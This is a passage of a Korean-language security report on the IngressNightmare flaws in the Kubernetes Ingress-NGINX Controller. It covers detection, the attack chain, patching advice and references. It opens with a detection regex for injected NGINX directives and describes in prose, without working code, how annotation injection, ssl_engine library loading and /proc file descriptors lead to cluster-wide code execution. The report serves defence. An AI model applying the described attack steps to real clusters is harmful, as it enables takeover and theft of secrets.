  and annotations matches /[₩n;]|(proxy_pass|exec|load_module|error_log)/
```

- 서비스 계정이 비정상적으로 Secrets, ConfigMap 등에 접근 시도하는 이벤트도 필터링하여 탐지합니다.

3. 외부 보안 플랫폼 및 통합 모니터링

- Datadog, Dynatrace, Splunk 등 클라우드 보안 플랫폼을 연동해, 컨테이너 내 쉘 생성, 비인가 프로세스 실행, 의심스러운 네트워크 트래픽 등을 실시간으로 탐지할 수 있습니다.
- 예를 들어, Datadog 의 eBPF 기반 탐지 기능은 ingress-nginx 컨테이너 내에서 발생하는 post-exploitation 행위를 자동으로 식별합니다.

9. 유사 취약점 및 연관 공격 벡터

9.1 CVE-2025-1974, CVE-2025-24513 등 IngressNightmare 시리즈 개요

IngressNightmare 는 2025 년 3 월 공개된 Kubernetes Ingress-NGINX Controller 의 치명적 취약점 묶음으로, 네트워크 노출 및 권한 상승을 통해 클러스터 전체 장악이 가능한 구조적 위협을 의미합니다.
주요 취약점은 다음과 같습니다.

- **CVE-2025-1974**:
  가장 심각한 취약점으로, 인증되지 않은 공격자가 Pod 네트워크 접근만으로 Admission Controller 에 악성 Ingress 객체를 전송해 임의의 NGINX directive 를 주입할 수 있습니다.
  이때 ssl_engine 등 특수 directive 를 활용해 악성 라이브러리를 로드하면, admission controller 컨텍스트에서 원격 코드 실행(RCE)이 가능합니다.
  기본 설정에서는 admission controller 가 클러스터 전체 Secrets 에 접근할 수 있어, 단일 공격으로 전체 클러스터 장악이 가능합니다.

- **CVE-2025-24513**:
  Admission Controller 가 사용자 입력값을 파일명에 직접 반영하는 과정에서 발생하는 디렉터리 트래버설 취약점입니다. 단독으로는 DoS 및 일부 Secret 유출에 그치지만, 다른 취약점과 조합 시 영향이 확대될 수 있습니다.

- **CVE-2025-24514, CVE-2025-1097, CVE-2025-1098**:
  모두 NGINX 설정 파일에 annotation, UID 등 입력값이 적절히 검증되지 않은 채 삽입되는 injection 취약점입니다.
  공격자는 개행 문자, 세미콜론, NGINX directive 등을 annotation/UID 에 삽입해 악성 설정을 주입할 수 있습니다.

이들 취약점은 단독 또는 조합으로 악용될 수 있으며, 실제로는 injection 취약점(CVE-2025-24514 등)으로 악성 directive 를 주입한 뒤, CVE-2025-1974 를 통해 코드 실행 및 권한 상승까지 이어지는 체인 공격이 가능합니다.

9.2 NGINX directive injection, admission webhook 공격 기법

NGINX Directive Injection

- **공격 원리**

  Ingress-NGINX Controller 가 Ingress annotation, UID 등 입력값을 NGINX 설정 파일에 삽입할 때, 입력값 검증이 미흡하면 공격자가 개행 문자(₩n), 세미콜론(;), 특수 directive(예: ssl_engine, exec, load_module)를 삽입해 의도하지 않은 NGINX 설정을 주입할 수 있습니다.

- **실제 공격 시나리오**

  1. 공격자는 auth-url, auth-tls-match-cn 등 annotation 에 악성 값을 삽입해 Ingress 객체를 생성합니다.
  2. Admission Controller 가 임시 NGINX 설정 파일을 생성할 때, 해당 값이 그대로 삽입됩니다.
  3. nginx -t 명령으로 설정 검증 시, 주입된 directive 가 실행되어 악성 라이브러리 로드 또는 명령 실행이 발생합니다.
  4. 이 과정에서 /proc/<pid>/fd/<fd> 경로를 활용해 임시 업로드 파일(공격 페이로드)을 로드하는 우회 기법도 사용됩니다.

Admission Webhook 공격 기법

- **공격 원리**

  Admission Controller(특히 Validating Admission Webhook)는 Ingress 객체 생성/수정 시 API 요청을 받아 임시 설정 파일을 생성하고, nginx -t 로 검증합니다.
  이때 Admission Controller 가 네트워크에 노출되어 있고 인증이 없다면, 공격자는 직접 AdmissionReview 요청을 보내 악성 Ingress 객체를 심을 수 있습니다.

- **공격 효과**

- 인증 없는 원격 코드 실행(RCE)
- 클러스터 전체 Secrets 접근 및 탈취
- 추가적인 lateral movement(노드 간 이동, 클라우드 메타데이터 탈취 등)

- **Webhook 자체를 악용한 백도어**
  공격자가 클러스터 내에 악성 mutating/validating webhook 을 심으면, 모든 신규 리소스에 자동으로 악성 설정이나 백도어를 주입할 수 있습니다. 이 방식은 탐지 회피 및 지속적 침투에 활용됩니다.

9.3 클라우드 환경 내 보안 취약점 대응 사례

- **취약점 노출 현황**:
  2025 년 기준, Fortune 500 포함 6,500 여 개 클러스터가 인터넷에 Admission Controller 를 노출한 것으로 확인되었습니다. 전체 클라우드 환경의 약 43%가 영향권에 있습니다.
  이는 Kubernetes 클러스터가 멀티테넌트 환경, 대규모 자동화 배포 등으로 인해 네트워크 경계가 느슨해진 결과입니다.

- **실제 대응 사례**

  즉각적 패치 및 네트워크 차단
  클라우드 사업자(AWS, GCP 등)는 취약점 공개 즉시 보안 권고를 발행하고, 고객에게 Ingress-NGINX Controller 의 최신 버전(1.11.5, 1.12.1)으로 업그레이드할 것을 강력히 권고했습니다.
  동시에, Admission Controller Pod 에 대한 네트워크 접근을 내부로 제한하는 네트워크 정책 적용이 단기 완화책으로 제시되었습니다.

  보안 모니터링 강화
  클라우드 보안팀은 Kubernetes Audit Log, Ingress Controller 로그, 네트워크 IDS/IPS 를 연동해 비정상적인 AdmissionReview 요청, NGINX 설정 오류, Secrets 접근 이벤트 등을 실시간으로 모니터링했습니다.

RBAC 최소 권한 원칙 적용:
Ingress-NGINX Controller 의 서비스 계정 권한을 최소화하고, Secrets 접근 범위를 제한하는 RBAC 정책을 재점검했습니다.

Admission Controller 설정 강화:
Admission Controller 의 인증 및 네트워크 제한, annotation validation 활성화, 불필요한 webhook 비활성화 등 보안 옵션을 적극 적용했습니다.

시사점

- 클러스터 내 핵심 컴포넌트(Admission Controller 등)는 반드시 네트워크 경계 내에서만 접근 가능하도록 설계해야 하며, 인증 없는 외부 노출은 치명적 결과를 초래할 수 있습니다.
- Kubernetes 보안은 단일 취약점이 아닌, 권한 구조·네트워크 구조·운영 정책 등 다층 방어가 필수적입니다.

10. 결론

10.1 취약점의 심각성 요약

CVE-2025-24514 는 Ingress-NGINX Controller 에서 발견된 치명적인 인증 없는 원격 코드 실행(RCE) 취약점으로, 공격자가 단순히 악의적인 Ingress 리소스를 생성하는 것만으로도 클러스터 내 모든 Secrets 에 접근하고, 궁극적으로 전체 Kubernetes 클러스터를 장악할 수 있는 심각한 위협입니다.
이 취약점은 기본적으로 Ingress-NGINX Controller 가 광범위한 권한(Secrets 접근 등)을 가지고 있고, 입력값 검증이 미흡한 상태에서 NGINX 설정 파일에 annotation 값을 직접 삽입하는 구조적 문제에서 비롯됩니다.
실제 공격이 보고되고 있으며, 약 6,500 개 이상의 클러스터가 인터넷에 노출된 상태로 확인되어, 전 세계 클라우드 환경의 약 43%가 영향권에 있는 것으로 분석됩니다.
CVSS v3.1 기준 8.8 점(High)~9.8 점(Critical)으로 평가되며, PoC 및 실제 공격 시도가 확인된 만큼 즉각적이고 전사적인 대응이 요구됩니다.

10.2 보안 운영자 및 개발자를 위한 권고 사항

1. **즉각적인 패치 적용**
    - Ingress-NGINX Controller 를 반드시 v1.11.5, v1.12.1 이상으로 업그레이드해야 합니다.
    - 패치 전까지는 Admission Controller 의 네트워크 접근을 내부로 제한하거나, 임시로 Admission Controller 를 비활성화하는 조치가 필요합니다.
2. **취약 클러스터 식별 및 노출 범위 점검**
    - 모든 클러스터에서 Ingress-NGINX Controller 의 버전 및 네트워크 노출 상태를 점검하고, 외부에서 Admission Controller 에 접근 가능한 환경이 없는지 확인해야 합니다.
3. **RBAC 및 권한 최소화**

- Ingress-NGINX Controller 가 불필요하게 클러스터 전체의 Secrets 에 접근하지 않도록 서비스 계정 권한을 최소화하고, RBAC 정책을 재점검해야 합니다.

4. **보안 모니터링 및 탐지 체계 강화**

    - Ingress 리소스의 annotation 값에 개행 문자, 세미콜론, NGINX directive 등 비정상 패턴이 포함되어 있는지 정기적으로 점검합니다.
    - Falco, Suricata, Snort 등 정책 기반 탐지 도구와 Kubernetes Audit Log 를 연동해, 악성 Ingress 생성 시도, NGINX 설정 오류, Secrets 접근 이벤트 등을 실시간으로 모니터링해야 합니다.

5. **보안 구성 및 운영 정책 강화**

    - Admission Controller, Ingress Controller 등 핵심 컴포넌트의 네트워크 접근을 엄격히 제한하고, 불필요한 외부 노출을 차단합니다.
    - NGINX 설정 파일은 주기적으로 검토 및 하드닝하고, 위험한 directive 사용을 제한해야 합니다.

6. **취약점 대응 훈련 및 사고 대응 계획 수립**

    - 취약점 악용 시나리오를 포함한 사고 대응 훈련을 실시하고, 인시던트 발생 시 신속한 탐지·격리·복구가 가능하도록 대응 체계를 점검해야 합니다.

10.3 장기적 보안 강화 방안 제시

- **자동화된 패치 및 취약점 관리 체계 구축**
    - CI/CD 파이프라인과 연계한 자동화된 패치 배포 및 이미지 취약점 스캐닝 체계를 도입해, 신규 취약점이 공개될 때마다 신속하게 대응할 수 있도록 합니다.
- **네트워크 분리 및 세분화**

    - 네트워크 정책(NetworkPolicy), 방화벽, VPC 등으로 클러스터 내 핵심 컴포넌트의 네트워크 경계를 분리하고, lateral movement 를 최소화합니다.

- **보안 감사 및 규정 준수 강화**
    - 정기적으로 클러스터 내 서비스 계정, RBAC, Secrets 접근 내역, Ingress 리소스 설정 등 보안 감사를 실시하고, 규정 준수 상태를 점검합니다.
- **보안 인식 제고 및 교육**
    - 개발자와 운영자를 대상으로 Kubernetes 및 Ingress-NGINX 보안 교육을 정기적으로 시행해, 최신 공격 트렌드와 보안 모범 사례를 공유합니다.
- **취약점 대응 플레이북 및 커뮤니케이션 체계 마련**
    - 취약점 공개 시 신속하게 대응할 수 있도록 대응 플레이북을 마련하고, 보안팀-개발팀-운영팀 간 원활한 커뮤니케이션 체계를 구축합니다.

11. 참고문헌

1. Datadog Security Labs, "IngressNightmare vulnerabilities overview and remediation", 2025-03-25.
    - IngressNightmare 시리즈(CVE-2025-1974, CVE-2025-24514 등) 취약점 구조, 영향, 대응 방안 상세 분석
    - 취약점 별 영향, PoC, 실제 공격 시나리오 등
2. Aqua Security, "IngressNightmare Vulnerabilities: All You Need to Know", 2025-03-28.
    - Ingress-NGINX Controller 에서 발견된 주요 취약점 개요, 공격 벡터, 완화 방법
3. Rapid7, "Multiple Vulnerabilities in Ingress NGINX Controller for Kubernetes", 2025-03-25.
    - 영향받는 버전, 패치 권고, 취약점 진단 및 대응 방법
4. CERT-EU, "Critical Vulnerabilities in Kubernetes Ingress-NGINX", 2025-03-25.
    - 각 CVE 별 상세 설명, CVSS 등급, 공격 성공 시 영향, 클러스터 전체 장악 가능성 등
5. Detectify, "Security Update: Publicly Exposed Ingress NGINX Admission", 2025-03-27.
    - IngressNightmare 시리즈 취약점의 클라우드 환경 내 실제 노출 현황, 완화 및 패치 권고
6. Wiz Research: Ingress-NGINX 취약점 분석 8
7. Aqua Security: IngressNightmare 대응 가이드 6
8. Kubernetes 공식 블로그: 패치 권고